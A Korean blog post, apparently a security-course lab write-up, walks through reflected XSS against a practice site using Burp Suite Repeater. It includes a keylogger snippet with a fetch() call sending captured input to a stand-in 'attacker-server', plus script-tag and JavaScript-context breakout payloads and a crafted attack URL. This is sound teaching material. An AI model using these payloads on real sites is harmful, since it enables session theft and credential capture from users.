| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- 프리코스
- 동적분석
- 자바
- sk 쉴더스 루키즈 31기
- 우아한테크코스
- 위상 정렬
- sk쉴더스 루키즈
- webhacking
- 리버싱
- 예술의 전당
- sk 쉴더스
- SK쉴더스루키즈
- 레나 튜토리얼
- top-cert
- React
- c
- 루키즈
- sk 쉴더스 루키즈
- Practical Malware Analysis Labs
- 웹개발
- 레나튜토리얼
- 루키즈31기
- 우테코
- 백엔드
- Dreamhack
- linux
- 알고리즘
- 루키즈 31기
- 악성코드 분석
- 깃
- Today
- Total
yon11b
[SK 쉴더스 루키즈] Reflected XSS: Burp Suite Repeater 이용 본문
XSS란?
공격자의 데이터가 브라우저에서 JS로 실행되면 XSS이다.
XSS로 할 수 있는 공격 시나리오들
1. 세션/쿠키 탈취: document.cookie
2. 키로거: 사용자가 입력하는 정보 등을 가로채서 전송
document.addEventListener("input", function(e) {
// 사용자가 입력한 값 감지
});
피해자의 입력값 전송
fetch("http://attacker-server/log", {
method: "POST",
body: capturedData
});
3. redirect로 피싱 사이트 접속
4. 브라우저 기반 채굴기로 사용
Reflected XSS
공격자가 만든 악의적인 링크를 누르면 실행됨
종류1. 정상사이트의 취약점 이용
www.nexon.com?search=돈까스&악성코드~~
이런 링크를 클릭했더니 네이버 로그인창이 뜬다? -> 로그인을 해버리면 공격자에게 id/pw값 다 넘어감
종류2. 공격자가 만든 (진짜처럼보이는)악성사이트 접속
ex) navet.com. 할많하않. 당연히 여기서 일어나는 모든 행위정보들 공격자에게 넘어감
우리는 이 중에서 정상사이트의 취약점을 악용한 URL을 만드는 실습을 할 것이다.
실습 1번: XSS(1)

burp suite브라우저로 접속한 다음, proxy intercept on > 검색창에 test를 입력 > Send to Repeater 클릭 > intercept off

내가 입력한 "test" 값이 reponse 어디에서 나타나는지 확인할 수 있다.

이번엔 unique한 문자열인 yon11b 문자열을 넣어봐서 response 어디에 들어가는지 확인해본다.

SQLI에서 했던 것처럼 기존 태그를 닫아버리고 내가 원하는 스크립트 태그를 새로 열어서 JS를 실행시키는 방식으로 하려고 한다.
그럴려면 우선 script 태그가 작동할 수 있게 <>" 를 입력했을 때 Response에서 잘 작동하는지 확인해봐야 한다.
인코딩이 되어버림. → 공격에 사용 못함. 다른 포인트 찾아야 함.

여기는 그대로" <>가 살아있음. 여기를 공격 포인트로 잡으면 됨.

기존 태그를 닫아주고 -> "/>
새로 태그를 열어 내가 원하는 스크립트를 넣는다 -> <script>alert('xss');</script>
그럼 맨 뒤에 기존 코드인 " />가 남게 된다. 얘를 처리해주기 위해 아무 태그나 붙여준다. <t t="
최종 사용자 입력값
test"/><script>alert('xss');</script><t t="
주의할 점: 이대로 보내면 안 되고 URL 인코딩(Ctrl+U)을 한 다음 send 해줘야 한다.

그럼 script 태그가 잘 들어간 것을 확인할 수 있다.

이제 이 행동이 실행되는 이 URL을 추출하자 > Copy URL 클릭!

https://lab.eqst.co.kr:8083/exam16/noticelist.php?pageIndex=test"/><script>alert('xss')%3b</script><t+t%3d"&sorting=BOARD_IDyon11b2"<>&sortingAd=DESCyon11b3"<>&startDt=yon11b4"<>&endDt=yon11b5"<>&searchType=allyon11b6"<>&keyword=testyon11b7"<>
이제 공격자는 이 URL 주소를 여러 군데 뿌려 놓으면 된다. 한 명이라도 이 URL에 접속하게 되면 JS가 작동하여 공격 성공이다!
실제로 들어가면 이렇게 나온다. 여기서는 JS 작동 확인용이라 alert만 띄우게 했다.

실습 2번: XSS(2)
1. 1번처럼 공지사항 목록 페이지 확인 -> 다 막아놓음.

보면 1번에서와 달리 <>"를 Request로 주면, Response에서 <>"가 그대로 나타나는게 아니라 다 인코딩되어 나타난다. 정상적인 실행이 안 된다는 뜻이다.
2. 공지사항 글하나 페이지 확인

여기에도 똑같이 Repeater로 보내서 확인해보자.
1. <>" 입력

여기서 "은 인코딩을 안 하고 그대로 Respose에 들어간다. (오른쪽에 > 다음 ")

밑으로 내려 계속해서 Response 를 확인해보면, 여기서는 <은 <로, >은 >로, "은 "로 다 인코딩을 해버린다.
2. ' 입력
function fnEdit()에서 큰따옴표가 먹히니까 이번엔 작은 따옴표도 해보자.


여전히 아래 Response에서는 따옴표가 먹지 않는다.
위쪽 Response 부분(fnEdit() 함수 부분)에서는 따옴표가 그대로 잘 들어간다. 그리고 이 fnEdit()함수는 script 태그 안에 있다.
그럼 우리는 script 태그 안에 있다는 걸 이용해서 잘만 하면 우리가 원하는 js 구문을 집어넣을 수 있을 것이다.
생각1. fnEdit()안에 JS 구문을 삽입시키고 fnEdit()를 실행시키는 방법
-> fnEdit()를 실행할 방법이 없다. 물론 개발자도구 켠 다음 console창에서 fnEdit()를 하면 되지만, 이 방법은 이 문제에서 원하는 풀이 방법이 아닐 것이다.
생각2. 입력을 통해서 fnEdit()를 종료시켜버리고( }입력 등을 통해서) 그 다음 JS 구문을 편하게 작성하기 (script 태그 안이니까)
사용자 입력: ?board_id=19';}alert('xss');{'
결과:
<script>
function fnEdit(_board_id){
document.location.href = 'noticeedit.php?board_id=' + '19';
}
alert('xss');
{'';}
...
</script>

아니면 뒤에 남는 ';}을 안전하게 처리하기 위한 또 다른 방식은 임시 함수를 하나 만드는 것이다.
<script>
function fnEdit(_board_id){
document.location.href = 'noticeedit.php?board_id=' + '19';
}
alert('xss');
function temp(){var ab='';} // 요기
...
</script>

'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] CSRF 실습문제 1번 (0) | 2026.06.29 |
|---|---|
| [SK 쉴더스 루키즈] Stored XSS 문제 풀기 (0) | 2026.06.27 |
| [SK 쉴더스 루키즈] SQL Injection 대응방안 (0) | 2026.06.25 |
| [SK 쉴더스 루키즈] 쇼핑몰 Blind SQL Injection(Oracle) (0) | 2026.06.25 |
| [SK 쉴더스 루키즈] Blind SQL Injection(Oracle 컬럼명 탈취) (0) | 2026.06.25 |